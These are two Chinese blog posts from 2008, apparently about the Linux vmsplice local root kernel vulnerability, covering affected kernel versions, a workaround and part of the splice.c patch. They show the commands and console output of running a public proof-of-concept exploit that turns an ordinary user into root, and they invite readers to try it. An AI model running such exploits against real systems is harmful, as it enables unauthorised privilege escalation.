• 页面

  • 功能

  • 标签

  • Linux系统安全

    vmsplice内核漏洞的临时性补救方法

    星期二, 02月 19th, 2008

    关于前面的一篇vmsplice的漏洞,
    我在ubuntu的bug报告 那里看到了一个临时性的补救方法。
    slasher-fun 放出的一个方法:
    Download http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c
    $gcc disable-vmsplice-if-exploitable.c  -o disable-vmsplice-if-exploitable
    leros@leros-desktop:/tmp$ ./disable-vmsplice-if-exploitable
    ———————————–
    Linux vmsplice Local Root Exploit
    By qaaz
    ———————————–
    Run as root to minimize risk of crashing system
    Press Enter to proceed as normal user.  Press Ctrl-C to abort.
    [+] mmap: 0×0 .. 0×1000
    [+] page: 0×0
    [+] page: 0×20
    [+] mmap: 0×4000 .. 0×5000
    [+] page: 0×4000
    [+] page: [...]

    vmsplice内核漏洞

    星期二, 02月 19th, 2008

    08年2月9日,Linux内核爆出了一个vmsplice的漏洞。开始我还不以为意。
    直至wind发给我检测代码: millw0rm’s的技术验证代码
    执行:(想要体验这个漏洞的残酷性,把上面链接的代码下载回来,自己
    用gcc编译一下跑一次)
    leros@leros-desktop:/tmp$ whoami
    leros
    leros@leros-desktop:/tmp$ ./destroy
    ———————————–
    Linux vmsplice Local Root Exploit
    By qaaz
    ———————————–
    [+] mmap: 0×0 .. 0×1000
    [+] page: 0×0
    [+] page: 0×20
    [+] mmap: 0×4000 .. 0×5000
    [+] page: 0×4000
    [+] page: 0×4020
    [+] mmap: 0×1000 .. 0×2000
    [+] page: 0×1000
    [+] mmap: 0xb7d6e000 .. 0xb7da0000
    [+] root
    root@leros-desktop:/tmp# whoami
    root
    就这样把root权限给溢出了。真是触目惊心啊。
    这个漏洞影响的内核版本从2.6.17到2.6.24.1.
    可怕的是,到现在ubuntu 7.10 似乎也没有更新补丁。 而各位Ubuntu
    的使用者似乎也不太在意。这更是让人害怕啊。
    当前在Ubuntu下也许只能自己编译内核打补丁来搞定这个BUG,
    或者再等两天,等官方源更新。(难道真是这个BUG的风险度还不够高?)
    下面是补丁中的代码,不用打补丁了,直接对着代码改改
    编译内核吧。
    — a/fs/splice.c
    +++ b/fs/splice.c
    @@ -1234,7 +1234,7 @@ static int get_iovec_page_array(const struct iovec __user *iov,
    [...]